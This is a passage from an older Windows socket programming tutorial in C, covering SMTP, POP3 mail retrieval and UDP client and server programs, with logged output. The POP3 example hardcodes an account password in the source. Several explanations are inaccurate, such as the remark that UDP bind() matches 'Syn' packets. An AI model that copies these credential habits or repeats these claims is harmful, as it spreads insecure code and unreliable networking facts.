in the message you can tell him that he has been appointed as a special advisor
to the Finance Minister of India. From this you can imply that E-Mail cannot be
trusted. This is the main reason we say that the S.M.T.P. protocol is stupid.
Now we know that you will argue with us saying S.M.T.P. is not stupid but, it
is the height of stupidity. You can never trust any of the E-Mail you receive,
for the simple reason that the message may turn out to be a hoax.
If this protocol is so stupid then you may be wondering
why people send E-Mails and why is the S.M.T.P. important ? This server is
needed for the simple reason that when you want to send someone an E-Mail
message, and the concerned person is not on-line, then you cannot send him the
E-Mail directly. If you want to, you can keep trying at different times, to see
if he is available on-line. We certainly dont want to keep trying. The
S.M.T.P. server helps us with this problem. Now if we send the S.M.T.P. server
a message, and if the other party is not on-line, then the server keeps trying
to send the E-Mail every half an hour or an hour (this timing is customised by
the person who is to be contacted by the server). After a certain period of
time (which again can be customised) the S.M.T.P. server sends you a bounce
back, saying an error has occured or server down or any of the umpteen execuses
it can think of. Now remember if the E-Mail address of the person is incorrect
then the S.M.T.P. server will send the bounce back of the packet immediately.
S.M.T.P. protocol is also known as a Lock-step
Protocol. Now what do you mean by a Lock-step Protocol ? Lock-step means
that whenever you send something to the server you have to wait for a reply.
Now this makes the process of sending an E-Mail very slow - because of the many
sends and receives it is made up of.
This protocol is also given another name i.e. Push
Protocol. Push in the sense that they are pushing packets on to the
S.M.T.P. server, not bothering to check whether the other person is receiving
the packet or not.
The way this protocol works can be summarised in the
following steps:
You can now sign off by sending it a QUIT message.
" POST OFFICE PROTOCOL Ver -3 (POP3) "
Now that we have sent our packet to the S.M.T.P. server,
imagine yourself on the other side i.e. you are the person who receives the
mail from a friend. All the E-Mail that you receive is stored in a your
S.M.T.P. server. How will you retrive the message from the S.M.T.P. server? For
retriving the packet/mail from the S.M.T.P. server you need another set of protocols
because now your push protocol will not work - remember that we had told you
that the S.M.T.P. protocol is also called as the push protocol. You need
another set of protocols, which will help you to pull the messages from the
S.M.T.P. server. This set of protocols is called as the Post Office Protocol
better known as POP3 - 3 because that is it's version number. This set of
protocols are nicknamed as the Pull protocols.
So lets learn how to write a POP3 program.
#include <windows.h>
#include <stdio.h>
void abc(char *p)
{
FILE *fp=fopen("c:\\pz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct sockaddr_in A;
WSADATA W;
SOCKET S;
char aa[60000];
int i;
char R[60000];
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char * k, int l)
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(110);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i=connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"USER vijay1\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"PASS a1111d0\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"STAT\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"RETR 1\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,60000,0);
sprintf(aa,"recv %d ",i);
abc(aa);
sprintf(aa,"R... %s",R);
abc(aa);
i=recv(S,R,60000,0);
sprintf(aa,"recv %d ",i);
abc(aa);
sprintf(aa,"R... %s",R);
abc(aa);
MessageBox(0,"hi","over",0);
return 0;
}
Now looking at the first few lines of this program you
will wonder at it's similarity with the S.M.T.P. server. So we shall skip
through the first few lines of code as they are the same as that of the
S.M.T.P. server. The POP3 server also works on the same principle as that of
the S.M.T.P. server with the only difference that here the port number changes
i.e. port number 110 is for the POP3 server.
Just as in the case of an S.M.T.P. server, you have to
first connect to the POP3 server. Your S.M.T.P. server along with your POP3
server at V.S.N.L. handles all your E-Mail. So every person has both, the
S.M.T.P. server and the POP3 server, running at the same time. He cannot have
one without the other. You can compare this with a car and it's wheels. You
cannot have a car moving without wheels or vice-versa. Both together are to be
used to run your server
After you connect to the POP3 server you have to wait on
a receive i.e. a recv( ) function. The recv() function used in this program,
is the same as in the case of the S.M.T.P. server program. The POP3 server will
now come back and say that you are now connected.
The reply given by the POP3 server upto this point can be
seen in the "pz.txt" file as shown below.
connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
After we receive this message from the server we have to
now send the User Name and the Password . If you dont give the POP3
server either the User Name or the Password, or you give an incorrect User Name
or Password, then you will not be able to connect to the server.
You notice that you do not require a password while
sending E-Mail. This is because, just about anybody can send you an E-Mail.
Hence the S.M.T.P. server does not require a password. But then when you get an
E-Mail in your POP3 server, then nobody should be able to access the mail
present in your server. Mail is supposed to be personal, and if there is no
privacy then we can bet that more that 50 % of the population - like you -
would love to read other peoples mail and would do so by going to the POP3
server.
Now after you send your password you have to wait till the
POP3 server verifies your password. If your password is correct he replies you
with the following message.
connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13
recv 35 R +OK Password required for vijay1.
After you receive the confirmation of the password you
have to send a "STAT". This is nothing but a short form for
statistics i.e. you are asking the POP3 server the number and size of the
messages that are stored on your server. If you have received mail, the
following message will be seen in the "pz.txt" file.
connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13
recv 35 R +OK Password required for vijay1.
send 13
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6
recv 12 R +OK 2 1430
In our output, the POP3 server has come back and told us
that there are 2 messages waiting for us. Here, 1430 octets is the total size
of the messages received by us.
We know that there are 2 messags waiting for us on the
server. How do we retrive these messages from the server? We have to send the
server a "RETR 1". This "RETR 1" is nothing but the syntax
in which retrive is written. When we say "RETR 1" we are actually
asking our program to retrive the first message from the server. Now the server
will come back and tell us the size of the message we want to retrive.
connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13
recv 35 R +OK Password required for vijay1.
send 13
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6
recv 12 R +OK 2 1430
send 8
recv 16
R... +OK 455 octets
Now we know the size of our message. If the size of the message
is big then you can put a loop to your recv() function and retrive the
message in small chunks. The message which we got is displayed as under.
connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13
recv 35 R +OK Password required for vijay1.
send 13
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6
recv 12 R +OK 2 1430
send 8
recv 16
R... +OK 455 octets
recv 415
R... Received: from vijay.com ([202.54.29.65]) by giasbm01.vsnl.net.in (8.7.6/8.7.3) with SMTP id UAA20380 for <vijay1@giasbm01.vsnl.net.in>; Sat, 6 Dec 1997 20:14:15 +0530 (IST)Message-Id: <199712061444.UAA20380@giasbm01.vsnl.net.in>To: aaa.com@giasbm01.vsnl.net.inX-UIDL: 881419582.001FROM: vijay1@giasbm01.vsnl.net.inDATE: 6 Dec 97 20:14 PSTMESSAGE_ID: <123@e.com>Status: UHelloHow are you
.
If you look at our S.M.T.P. program, you will understand
the program better as this is the same message we had sent through our S.M.T.P.
program. You can now see the message that has been sent to you.
Now after you retrived the E-Mail on to your server,
youd want to delete the E-Mail from the POP3 server. For deleting from the
POP3 server, you have to say DELE 1. This will delete the first E-Mail from
the POP3 server. Then you can say "RETR 2" to get in your second
message, you can put even the " RETR " into a for loop and
retrive the E-Mail one after another.
Now if you dont delete the messages from your POP3
server, then one fine day you will find your server cluttered with a bundle of
old and worthless messages. So youll always find a delet option with your POP3
server.
Now the only problem with the POP3 server is that when
you send your password to the server it is going as a plain text and now if
someone has tapped your phone lines to the ISP everyone who is doing a POP3 or
sending E-Mail through you phone line will come to know your password.
Now dont get into a cold sweat, the person will first
have to tap your phone lines and only then can they get to know your password.
So far we have learnt something which though it is slow
it is reliable. We shall now learn something which is very fast though it is a
bit unreliable viz. The User Datagram Protocol better known as the
U.D.P.
" USER DATAGRAM PROTOCOL ( U.D.P )
-Server & Client "
We know that our TCP/IP protocol, though reliable, is a
bit slow. This is because TCP waits for an acknowledgement each time a packet
is sent. Let us now see why we have to learn the U.D.P. protocol even though
this protocol is not as reliable as TCP. Let's suppose that we are interested
in music and we listen to Internet radio. Imagine ourselves connected to some
site and listening to the latest music there. During transmission, suppose one
of the packets gets lost, what happens?
With TCP, we know that he will wait until he receives
that packet from the server before continuing with the music. We cannot ask the
person listening to the music to hold on for some time till TCP retrives the
packet.
Internet radio has to be Real Time though you may
argue there is no such thing as Real Time . In reality, even when we speak,
the other person will hear our sound after a certain time has elapsed, even if
it is a mere 1/100th of a second later. But you have to understand that once the
voice reaches the other person, it becomes Real Time . Now if you are using
Internet radio etc you cant have the user wait for even a short period of
time. TCP shouldnt ask a listener to hold on until he receives a packet which
might have been lost. If we do then the audio quality may drop. Using TCP, the
ser0ver is forced to wait, because the TCP will wait for an ' Ack ' from us.
For such things, we need another set of protocols, which does not wait for
these stupid ' Acks' - stupid because if the bytes do not come at the required
time, then it is no use to the listener. The protocol should not be as
complicated as the TCP protocol. This protocol which does not wait for the '
Ack ' is the U.D.P. or the User Datagram Protocol. This protocol has only eight
bytes - no wonder it is said to be a wrapper to IP. These bytes are made up
of source port number, destination port number, U.D.P. length and check sum.
The check sum is optional. The header bytes of the U.D.P. can be seen in the
following table.
Source Port |
Source Port |
Destination Port |
Destination Port |
U.D.P. Length |
U.D.P. Length |
Check Sum |
Check Sum |
So you realise that you do not need to know
anything more than the port numbers for using the U.D.P.
With this information we can now create a server using
U.D.P.
" U.D.P. - Server "
When you see the first few lines of code you would notice
it's similarity with the HTTP server.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
HWND b;
MSG c;
char aa[200];
char bb[20000];
int xx;
int dw;
WSADATA ws;
SOCKET s,s1,s2;
int d,d1,d2,dd;
struct sockaddr_in A,A1,B;
long _stdcall zzz (HWND,UINT,WPARAM,LPARAM);
void abc(char *p)
{
FILE *fp=fopen("c:\\z.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
int _stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
a.lpszClassName="a1";
a.hInstance=i;
a.lpfnWndProc=zzz;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b=CreateWindow("a1","aaa",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while ( GetMessage(&c,0,0,0) )
DispatchMessage(&c);
return 1;
}
long _stdcall zzz (HWND w,UINT x,WPARAM y,LPARAM z)
{
if ( x == WM_LBUTTONDOWN)
{
d=WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld",d);
abc(aa);
s=socket(AF_INET,SOCK_DGRAM,0);
sprintf(aa,"SOCKET = %ld",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port = htons(13);
A.sin_addr.s_addr = INADDR_ANY;
d=bind(s,(struct sockaddr *)&A,sizeof(A));
sprintf(aa,"BIND = %ld",d);
abc(aa);
MessageBox(0,aa,aa,0);
dw = sizeof(A);
d = recvfrom(s,bb,100,0,(sockaddr *)&A,&dw);
sprintf(aa,"Recvfrom = %ld.bb = %s",d,bb);
abc(aa);
MessageBox(0,aa,aa,0);
MessageBox(0,"The","End",0);
}
if ( x == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
There are mainly three differences when you compare it
with the HTTP server. The first difference is in the function socket(). The
socket() function of this program returns only the protocol used, which is
IP/U.D.P. Now you may wonder as to how does the SOCKET s know that it is
using U.D.P.? You may notice that the socket() function is passed three
parameters as usual. The first parameter we know is the Macro which represents
IP. Now the second parameter viz. SOCK_DGRAM is the parameter which
indicates that it is U.D.P. So when your socket sees this Macro it knows that
it is U.D.P.
The second difference is the port number - which is 13.
This port number stands for the Time Server port.
The third difference is the use of the function
recvfrom() . There was no recvfrom() function in the HTTP server program,
but instead, there is a recv() function. Now you may wonder as to why we
dont stick to functions like recv() which we have already learnt and are
familiar with. In programs that use the TCP protocol, there is an accept()
function which helped the vaiable that looked like the Macro SOCKET know
the port number, IP address etc of the connecting machine. The programs using
the U.D.P., do not have an accept() function, and hence, the SOCKET s
does not know anything about the connecting machine.
Let us understand what we have accomplished with our
program, so far. In this program, we have a bind() function, which does the
same thing as in the case of the HTTP server. The function bind() , is used
to tie up the socket - along with the server - to a port. This port has been
specified as 13 i.e. the Time Server port., in our program. This means that
this function bind() , tells the TCP/IP stack that whenever it receives a
packet with the ' Syn ' flag on , with the port number as 13 and any IP
address, then the packet should be directed immediately to our server, i.e. the
Time Server. So now, whenever any client wants to contacts a server with our IP
address for any file, he will get directed to our Time Server.
We then have a recvfrom() function. This function is
passed six parameters. The first parameter is s which knows the protocol
the server is to follow. The second parameter is an array bb , into which,
the incoming message is stored. The third parameter is the size of this array.
In our program,this parameter indicates that the maximum length of the message
we can receive is 100. The fourth parameter is 0 , hence unexplained. The
fifth parameter is the address of our structure A. We have to cast this
address to (sockaddr *). We have stored the size of our structure A in a
variable dw . The last parameter is the address of this variable.
When a client connects to our Time Server, the packet is
sent directly to the function recvfrom(). Our server is now ready to receive
connections. Imagine having a server ready with so few lines of code. But then,
what does your server actually do? It merely receives a message from the
connecting client, nothing more, nothing less. Well, trust us and run this
program on one machine. Activate your server by clicking on your window. On
another machine, run the U.D.P. client program - which is explained later under
the heading U.D.P. client. When you execute the client program on the
other machine, you will see a message on our server - the message which is sent
to the server by the client. You can now see the output in the
"z.txt" which looks as below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
Recvfrom = 100.bb = Hello, How are you ?
This is the message which is sent by the client to our
server in the client program. Now that we have received something from the
client, it is our moral duty to return something to the connecting client. So
in our next program we shall send the client a message.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
HWND b;
MSG c;
char aa[200];
char bb[20000];
long _stdcall zzz (HWND,UINT,WPARAM,LPARAM);
WSADATA ws;
SOCKET s;
int d;
struct sockaddr_in A;
void abc(char *p)
{
FILE *fp=fopen("c:\\z.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
int _stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
a.lpszClassName="a1";
a.hInstance=i;
a.lpfnWndProc=zzz;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b=CreateWindow("a1","aaa",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while ( GetMessage(&c,0,0,0) )
DispatchMessage(&c);
return 1;
}
long _stdcall zzz (HWND w,UINT x,WPARAM y,LPARAM z)
{
if ( x == WM_LBUTTONDOWN)
{
d=WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld",d);
abc(aa);
s=socket(AF_INET,SOCK_DGRAM,0);
sprintf(aa,"SOCKET = %ld",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port = htons(13);
A.sin_addr.s_addr = INADDR_ANY;
d=bind(s,(struct sockaddr *)&A,sizeof(A));
sprintf(aa,"BIND = %ld",d);
abc(aa);
MessageBox(0,aa,aa,0);
int dw = sizeof(A);
d = recvfrom(s,bb,100,0,(sockaddr *)&A,&dw);
sprintf(aa,"Recvfrom = %ld.bb = %s",d,bb);
abc(aa);
strcpy(bb,"Hi, I am fine, Thank you");
d = sendto(s,bb,100,0,(sockaddr *)&A,sizeof(A));
sprintf(aa,"Message Sent to client = %ld.bb = %s",d,bb);
abc(aa);
MessageBox(0,aa,aa,0);
MessageBox(0,"The","End",0);
}
if ( x == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
On execution of this program, along with the second
U.D.P. client program, you will see that you now first receive a message from
the client. You know from the previous program that this message says "
Hello, How are you?". You have to use the sendto() function to
send a response to the client. This function has to be passed six parameters.
The first parameter is s , which specifies the protocol being used. The
second parameter is the array bb , where you have stored the message you
want to send to the connecting client. The third parameter is the size of the
array. The fourth is 0 , hence unexplained. The fifth parameter is the
structure A , which looks like sockaddr_in and which has the port number
and the IP address of the incoming connection. Of course, you have to cast it
to (sockaddr *), as always. The last parameter is the size of this structure
A .
Now you are also sending a message to the client as your response.
The client was polite in inquiring about you. So you have to respond back in a
polite manner. You will now be able to see this message which you sent from the
server side, displayed in machine where the U.D.P. client program is running.
You will see the output of the server in the "z.txt" as shown below.
WSASTARTUP = 0
SOCKET = 3
BIND = 0
Recvfrom = 100.bb = Hello, How are you ?
Message Sent to client = Hi, I am fine, Thank you
This is your U.D.P. server. You see how simple it is to
create a server using U.D.P. There is no hassles, no complications which we had
to face while doing the HTTP server.
" U.D.P. - Client "
Now that you have finished creating the U.D.P. server,
you will see that creating the U.D.P. client is even simpler. So lets start with
our U.D.P. client program with the following lines of code.
# include<windows.h>
# include<stdio.h>
WNDCLASS a;
HWND b;
MSG c;
WSADATA ws;
char aa[200];
SOCKET s;
int dw;
DWORD e;
struct sockaddr_in sa;
char *str;
char bb[100];
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z);
void abc(char *p)
{
FILE *fp=fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(void *i,void *j,char *k,int l)
{
a.lpszClassName="guju";
a.hInstance=i;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
a.lpfnWndProc=zzz;
RegisterClass(&a);
b=CreateWindow("guju","tclient",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
return 1;
}
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z)
{
if(x==WM_LBUTTONDOWN)
{
e=WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",e);
abc(aa);
s=socket(PF_INET,SOCK_DGRAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
sa.sin_family=AF_INET;
sa.sin_port=htons(13);
sa.sin_addr.s_addr=inet_addr("70.0.0.7");
strcpy(bb,"Hello, How are you ?");
e=sendto(s,bb,100,0,(struct sockaddr *)&sa,sizeof(sa));
abc(bb);
sprintf(aa,"Send to = %ld",e);
MessageBox(0,aa,aa,0);
abc(aa);
}
if (x==WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
Here, you will notice three things when you compare this
program to your HTTP client. The first thing you will notice is the port number
which is 13 . This is the port number of the Time Server. The second thing
you will notice is that the U.D.P. client does not have a connect()
function. A U.D.P. client does not believe in a connect() function. You
just create a socket and send something to a U.D.P. server.
The third difference is in the function socket() .
This function has to be passed three parameters as usual. The first parameter
is PF_INET and it stands for the IP protocol. Dont worry, the Macros
AF_INET and the PF_INET mean one and the same thing. It is immaterial in
this program whether you use PF_INET or AF_INET . The second parameter
is SOCK_DGRAM , and when your socket() function sees this Macro, he
knows that it is the U.D.P. protocol. The last parameter is 0 and it is our
privilege not to explain what it stands for.
In our sendto() function we are sending the server a
message. Now why do we need a sendto() function and not the good old
send() function used in the HTTP client? When we created our HTTP client, we
had first connected to the HTTP server through a function called connect() .
Because of this function, our SOCKET variable knew the port number and
destination IP address of the server we wanted to connect to. But, in this
program, there is no such thing as a connect() function. Hence, we cannot
use send() function which we had used in the HTTP client. We have no option
but to use the sendto() function. We give this function a structure sa
which looks like sockaddr_in . We initialise three members of structure sa
viz. sin_family , sin_port and sin_add.s_addr to the IP protocol,
the port number of the server we want to connect to and it's IP address,
respectively.
The sendto() function has to be passed six
parameters. The first parameter is s . The second parameter passed is the
array in which your message is stored. The third is the size of the message you
want to send to the server. The fourth parameter is 0 . Now we really wanted
to explain what this 0 stands for. But the moment we sat down to write the
explanation, we had a phone call from the President of " The 0
Parameters Inc. ". It reminded us of our promise to them, that we would
never explain a parameter with the value as 0 .Hence, we were forced to discard
our idea of explaining this parameter. The fifth parameter is the address of
the structure which looks like sockaddr_in , and of course, we have to cast
it just like in the HTTP client. The last parameter is the size of this
structure i.e. the structure which we passed as the fifth parameter. We have
now sent a message to the U.D.P. server.
Now remember the U.D.P. server we had created previously
? Well, there we had asked you to run that program, along with the U.D.P.
client step by step. So now, when you had clicked on your window i.e. client
window, you would have seen the U.D.P. server getting a MessageBox with our
message in it. Now lets look at the output of our client program in the
"b.txt" file which looks as shown below.
WSASTARTUP = 0
SOCKET = 3
Hello, How are you ?
Send to = 100
The WSAStartup returns 0 . The socket() returns a
positive number. Next is the message you have sent to the server and the last
line shows you the size of the message you have sent - remember the third parameter
of the sendto() function. Now lets receive something from the server. In
the next program we are using the function recvfrom() in which we can
receive messages sent by the server.
# include<windows.h>
# include<stdio.h>
struct sockaddr_in sa;
WNDCLASS a;
HWND b;
MSG c;
WSADATA ws;
SOCKET s;
DWORD e;
int dw;
char *str;
char aa[200];
char bb[100];
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z);
void abc(char *p)
{
FILE *fp=fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(void *i,void *j,char *k,int l)
{
a.lpszClassName="guju";
a.hInstance=i;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
a.lpfnWndProc=zzz;
RegisterClass(&a);
b=CreateWindow("guju","tclient",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
return 1;
}
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z)
{
if(x==WM_LBUTTONDOWN)
{
e=WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",e);
abc(aa);
s=socket(PF_INET,SOCK_DGRAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
sa.sin_family=AF_INET;
sa.sin_port=htons(13);
sa.sin_addr.s_addr=inet_addr("70.0.0.3");
strcpy(bb,"Hello, How are you ?");
e=sendto(s,bb,100,0,(struct sockaddr *)&sa,sizeof(sa));
abc(bb);
sprintf(aa,"Send to = %ld",e);
abc(aa);
dw = sizeof(sa);
recvfrom(s,bb,100,0,(struct sockaddr *)&sa,&dw);
sprintf(aa,"Message From Server = %s",bb);
abc(aa);
MessageBox(0,bb,"Data From Server",0);
MessageBox(0,"Hi","Hi",0);
}
if (x==WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In the previous program we had sent a message to the
server saying, " Hello, How are you? ". Now after you had clicked on
the message box in the U.D.P. server, you will receive what the server is
sending back to you. This message is caught in the recvfrom() function and
displayed in our message box. In our U.D.P. server we had used a sendto()
function with the message " Hi, I am fine, Thank you ". Now this is
the message which will be displayed in our MessageBox. You have also stored
this message in your "b.txt" file which will now look as shown below.
WSASTARTUP = 0
SOCKET 3
Hello, How are you ?
send to 100
Message From Server = Hi ,I am fine, Thank you
This was your U.D.P. client. Now lets understand what
U.D.P. means. The key word here is " Datagram ". Now what does
Datagram mean? When we send a Datagram to someone, he knows that it is an
independent entity. Three datagrams, sent one after the other, have nothing to
do with each other. You know that in TCP, when you had wanted to send 200
bytes of data, you could send 10 packets, each having 20 bytes of data,
to the server, who would receive all the 10 packets, one after another,
totalling 200 bytes of data. In U.D.P., you could send a file of 200
bytes of data to the server and the server would receive the whole 200
bytes of data in a single packet. But if you make the mistake of fragmenting
your file into 10 packets with 20 bytes of data in each, the U.D.P.
server will accept all the 10 packets as different entities - or should we
say as 10 different client calls. In TCP, you need not specify the buffer size,
if the file was large enough, it would automatically get fragmented and sent to
the server in different packets. But in U.D.P. if you send the server 200
bytes of data, the client has to have a buffer of 200 . If the client has a
buffer size of 150 bytes, then the machine will hang on the recvfrom()
function.
U.D.P. actually cannot be called a protocol as it is
extremely simplistic. No complications whatsoever in U.D.P.
Wrapping it all up..
Now looking at all these programs what is the first thing
you notice? Dont you find it surprising that there is nothing about the
Internet in our lines of code? These programs are written in basic C
Windows Programming code. Dont you find it amusing that you can now fool
around with the Internet with this basic knowledge of programming code ?
Well, these are some of the Internet related programs. We
hope that having looked at these programs, you have now lost your fears of the
Internet. You will now be able to create your own Netscape or your very own
Internet Explorer - that is for you to decide. You can also send E-Mail to
friends and relatives as well as download the messages which is present in your
POP3 server.
Back to Windows Socket Programming